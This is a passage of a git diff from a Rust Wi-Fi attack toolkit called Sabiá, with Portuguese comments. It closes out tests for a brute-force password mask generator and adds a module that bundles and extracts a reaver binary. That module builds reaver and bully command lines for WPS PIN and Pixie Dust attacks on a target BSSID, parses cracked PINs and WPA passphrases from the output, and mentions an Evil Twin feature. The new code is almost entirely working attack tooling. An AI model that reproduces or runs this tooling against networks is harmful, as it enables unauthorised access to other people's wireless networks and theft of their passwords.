vira um '?' literal; os dois primeiros chars são consumidos + // juntos, então "???d" é: '?' literal + "?d" (classe dígito). + assert_eq!( + Mask::parse("???d").unwrap().candidate(0).as_deref(), + Some("?0") + ); + assert!(Mask::parse("?z").is_err()); + assert!(Mask::parse("").is_err()); + } + + #[test] + fn mask_covers_every_combination_exactly_once() { + let mask = Mask::parse("?d?l").expect("máscara válida"); + let total = mask.total().unwrap(); + assert_eq!(total, 10 * 26); + let mut seen = std::collections::HashSet::new(); + for i in 0..total { + seen.insert(mask.candidate(i).unwrap()); + } + assert_eq!(seen.len() as u64, total); + } +} diff --git a/crates/sabia-core/src/wps.rs b/crates/sabia-core/src/wps.rs new file mode 100644 index 0000000..d938010 --- /dev/null +++ b/crates/sabia-core/src/wps.rs @@ -0,0 +1,212 @@ +//! Ataque de PIN WPS com o `reaver` embutido. +//! +//! O protocolo EAP-WSC é grande demais para reimplementar aqui; o Sabiá +//! carrega uma cópia do reaver (GPL-2, veja `assets/tools/LICENSE.reaver`), +//! extrai em tempo de execução e mostra a saída ao vivo. Assim o WPS já +//! funciona sem instalar nada. Se o usuário tiver um `bully` no PATH, ele +//! também aparece como alternativa. + +use serde::Serialize; +use std::path::PathBuf; + +#[derive(Debug, Clone, Serialize)] +pub struct WpsTool { + pub name: String, + pub path: String, + pub bundled: bool, +} + +#[cfg(target_os = "linux")] +const BUNDLED_REAVER: &[u8] = include_bytes!("../../../assets/tools/reaver"); + +/// Procura um binário no `PATH` — usado pelo WPS (reaver/bully) e, fora +/// deste módulo, pelo Evil Twin (hostapd/dnsmasq), que precisa da mesma +/// checagem sem puxar uma dependência nova só pra isso. +pub(crate) fn find_in_path(binary: &str) -> Option { + let path = std::env::var_os("PATH")?; + for dir in std::env::split_paths(&path) { + let candidate = dir.join(binary); + if candidate.is_file() { + return Some(candidate); + } + } + None +} + +pub fn tools() -> Vec { + let mut out = Vec::new(); + #[cfg(target_os = "linux")] + out.push(WpsTool { + name: "reaver".into(), + path: "integrado".into(), + bundled: true, + }); + #[cfg(not(target_os = "linux"))] + if let Some(path) = find_in_path("reaver") { + out.push(WpsTool { + name: "reaver".into(), + path: path.display().to_string(), + bundled: false, + }); + } + if let Some(path) = find_in_path("bully") { + out.push(WpsTool { + name: "bully".into(), + path: path.display().to_string(), + bundled: false, + }); + } + out +} + +pub fn tool_path(name: &str) -> Option { + match name { + "reaver" => bundled_reaver().or_else(|| find_in_path("reaver")), + "bully" => find_in_path("bully"), + _ => None, + } +} + +#[cfg(target_os = "linux")] +fn bundled_reaver() -> Option { + use std::fs; + use std::os::unix::fs::PermissionsExt; + + // `temp_dir` é compartilhado; usa um diretório por UID e confere que ele + // não é um symlink antes de gravar, para não seguir link de outro usuário. + let uid = unsafe { libc::geteuid() }; + let dir = std::env::temp_dir().join(format!("sabia-tools-{uid}")); + if let Ok(meta) = fs::symlink_metadata(&dir) { + if !meta.is_dir() || meta.file_type().is_symlink() { + return find_in_path("reaver"); + } + } else if fs::create_dir_all(&dir).is_err() { + return find_in_path("reaver"); + } + let _ = fs::set_permissions(&dir, fs::Permissions::from_mode(0o700)); + + let path = dir.join("reaver"); + if let Ok(meta) = fs::symlink_metadata(&path) { + if !meta.is_file() || meta.file_type().is_symlink() { + return find_in_path("reaver"); + } + if meta.len() == BUNDLED_REAVER.len() as u64 { + return Some(path); + } + } + fs::write(&path, BUNDLED_REAVER).ok()?; + fs::set_permissions(&path, fs::Permissions::from_mode(0o700)).ok()?; + Some(path) +} + +#[cfg(not(target_os = "linux"))] +fn bundled_reaver() -> Option { + None +} + +/// Argumentos para uma execução. Sem PIN, usa Pixie Dust (`-K 1`) no reaver +/// e o ataque padrão no bully. +pub fn args(tool: &str, iface: &str, bssid: &str, channel: u32, pin: Option<&str>) -> Vec { + let channel = channel.to_string(); + match tool { + "bully" => { + let mut args = vec![ + "-b".into(), + bssid.into(), + "-c".into(), + channel, + "-d".into(), + iface.into(), + "-v".into(), + "3".into(), + ]; + if let Some(pin) = pin { + args.push("-p".into()); + args.push(pin.into()); + } + args + } + _ => { + let mut args = vec![ + "-i".into(), + iface.into(), + "-b".into(), + bssid.into(), + "-c".into(), + channel, + "-vv".into(), + ]; + match pin { + Some(pin) => { + args.push("-p".into()); + args.push(pin.into()); + } + None => { + args.push("-K".into()); + args.push("1".into()); + } + } + args + } + } +} + +/// Extrai PIN/PSK de uma linha de saída do reaver/bully. +pub fn parse_line(line: &str) -> (Option, Option) { + let lower = line.to_ascii_lowercase(); + let grab = |needle: &str| -> Option { + let idx = lower.find(needle)? + needle.len(); + let rest = line[idx..].trim(); + let rest = rest + .split_whitespace() + .next()? + .trim_matches(|c| c == '\'' || c == '"'); + if rest.is_empty() { + None + } else { + Some(rest.to_string()) + } + }; + let pin = if lower.contains("wps pin") || lower.contains("pin:") { + grab("pin:").or_else(|| grab("wps pin")) + } else { + None + }; + let psk = if lower.contains("wpa psk") || lower.contains("psk:") { + grab("psk:") + } else { + None + }; + (pin, psk) +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn parses_reaver_output() { + assert_eq!( + parse_line("[+] WPS PIN: '12345670'"), + (Some("12345670".into()), None) + ); + assert_eq!( + parse_line("[+] WPA PSK: 'senha-secreta'"), + (None, Some("senha-secreta".into())) + ); + } + + #[test] + fn builds_pixie_dust_args() { + let pixie = args("reaver", "wlan0mon", "00:11:22:33:44:55", 6, None); + assert!(pixie.contains(&"-K".to_string())); + let pin = args( + "bully", + "wlan0mon", + "00:11:22:33:44:55", + 6, + Some("12345670"), + ); + assert!(pin.windows(2).any(|w| w == ["-p", "12345670"])); + } +}